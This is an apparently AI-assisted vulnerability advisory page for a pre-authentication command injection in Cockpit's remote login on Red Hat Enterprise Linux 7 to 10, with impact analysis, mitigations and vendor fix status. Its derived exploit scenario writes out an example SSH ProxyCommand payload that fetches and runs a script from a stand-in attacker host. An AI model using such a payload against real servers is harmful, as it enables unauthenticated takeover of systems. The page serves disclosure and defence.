EUVD-2026-19814Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted HTTP request to login endpoint
-
ExploitInject malicious SSH options into hostname parameter
-
ExecutionSSH client executes injected commands
-
ImpactAchieve code execution on Cockpit host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker with network access to Cockpit web service. Requires Cockpit remote login feature enabled (default configuration). No valid credentials or user interaction needed. Attacker crafts HTTP request to login endpoint with injected SSH options/commands in hostname or username fields. |
| Impact | This vulnerability represents critical real-world risk based on convergent threat signals. The CVSS 9.8 score accurately reflects severity: network attack vector (AV:N) enables internet-based exploitation, low complexity (AC:L) means reliable exploitation without race conditions or special configurations, and no privileges required (PR:N) combined with pre-authentication execution makes this a wormable attack surface. No public exploit code has been identified at time of analysis, and the vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog, suggesting exploitation has not yet been observed in the wild. However, command injection vulnerabilities in authentication flows have historically been rapidly weaponized once disclosed. The technical simplicity (single HTTP request, no credentials needed) combined with widespread RHEL deployment in enterprise environments creates significant attack surface. Organizations with internet-facing Cockpit instances face immediate critical risk. The SSVC framework would likely classify this as requiring urgent action: exploitation status currently none detected but highly automatable given the pre-auth vector, technical impact of total system compromise (C:H/I:H/A:H), and broad deployment footprint across mission-critical enterprise Linux systems. |
| Exploit ScenarioDerived | An attacker identifies an internet-facing Red Hat Enterprise Linux server running Cockpit on the default port 9090 through network scanning. Without any valid credentials, the attacker crafts an HTTP POST request to the Cockpit login endpoint, supplying a malicious hostname parameter containing SSH ProxyCommand injection such as '-oProxyCommand=curl http://attacker.com/payload.sh|bash' or embedding shell metacharacters in the username field to break out of the SSH command context. When Cockpit processes this login request, it passes the unsanitized input directly to the SSH client invocation, causing the injected commands to execute with the privileges of the Cockpit process (typically root or a highly privileged service account) before any authentication occurs. The attacker achieves immediate remote code execution, establishes persistence through cron jobs or SSH key injection, and pivots to other systems in the enterprise network using the compromised host's credentials and trust relationships. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the host system by injecting malicious SSH options through the login endpoint. Affecting Red Hat Enterprise Linux versions 7 through 10, this critical pre-authentication vulnerability (CVSS 9.8) requires no credentials and executes code before any authentication checks occur. EPSS data not available; no confirmed active exploitation (CISA KEV) at time of analysis, though the pre-authentication nature and command injection vector present severe risk for internet-exposed Cockpit instances.
RemediationAI
Organizations should immediately consult Red Hat's official security advisory at https://access.redhat.com/security/cve/CVE-2026-4631 for patched package versions and apply vendor-supplied updates through standard RHEL package management (yum/dnf update cockpit). No vendor-released patch version is independently confirmed from available data at time of analysis; refer to the Red Hat advisory for exact fixed versions per RHEL release. As an immediate risk mitigation while patching, restrict network access to Cockpit's web interface (TCP port 9090) using firewall rules to allow only trusted management networks or specific IP addresses, eliminating internet exposure. Organizations not actively using Cockpit's remote login feature should disable the cockpit service entirely (systemctl stop cockpit.socket && systemctl disable cockpit.socket) until patching is complete. For environments requiring continued Cockpit access during remediation windows, implement defense-in-depth controls such as VPN-only access or jump host architectures. Verify patch application by checking installed Cockpit package versions and reviewing Red Hat's Bugzilla entry at https://bugzilla.redhat.com/show_bug.cgi?id=2450246 for additional technical guidance.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Cockpit is Red Hat's web-based server administration interface that provides remote system management capabilities including SSH-based remote login functionality. The vulnerability stems from CWE-78 (OS Command Injection) in the remote login feature's authentication flow. When processing login requests, Cockpit accepts hostname and username parameters from the web interface and passes them directly to the underlying SSH client without input validation or sanitization. The affected CPE strings identify this issue across Red Hat Enterprise Linux 7, 8, 9, and 10 product lines. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this is a network-accessible vulnerability with low attack complexity requiring no privileges or user interaction. The injection point occurs during SSH client command construction, allowing attackers to break out of expected parameter contexts and inject arbitrary SSH options (such as ProxyCommand directives) or shell metacharacters that execute before the authentication handshake completes.
Know when Red Hat Enterprise Linux 10 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (redhat).
CVSS VectorVendor: redhat
DescriptionCVE.org
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
Executive ViewAI
CVE-2026-4631 is a critical pre-authentication remote code execution vulnerability in Red Hat Cockpit's web interface (CVSS 9.8) affecting RHEL 7-10 that allows unauthenticated attackers to execute arbitrary system commands through SSH option injection at the login endpoint. Organizations operating internet-exposed Cockpit instances face immediate risk of full system compromise without requiring valid credentials. Leadership should prioritize immediate containment of affected systems until Red Hat releases a security patch.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to Cockpit interface via firewall rules or network segmentation to trusted administrative networks only; (2) Disable Cockpit service on internet-exposed systems if operationally feasible; (3) Deploy network-based intrusion detection/prevention to monitor for SSH option injection payloads on port 9090; (4) Implement reverse proxy authentication layer in front of Cockpit requiring multi-factor authentication before access; (5) Monitor system logs for suspicious SSH-related command execution patterns originating from Cockpit processes.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Red Hat Enterprise Linux 10
View allHeap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash
Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft
Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript
Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity
A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to
The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe
Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo
Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter
Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a
A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes
Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe
Denial of service in libxml2 allows a remote attacker to crash any application that uses the library to XSD-validate an
Same weakness CWE-78 – OS Command Injection
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Liberty Linux 10 | Fixed |
| SUSE Liberty Linux 9 | Fixed |
| SUSE Linux Micro 6.2 | Fixed |
| openSUSE Tumbleweed | Fixed |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Micro 5.2 | Fixed |
| SUSE Linux Enterprise Micro 5.3 | Fixed |
| SUSE Linux Enterprise Micro 5.4 | Fixed |
| SUSE Linux Enterprise Micro 5.5 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.1 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Fixed |
| SUSE Linux Micro 6.0 | Fixed |
| SUSE Linux Micro 6.1 | Fixed |
| SUSE Linux Micro 6.2 | Fixed |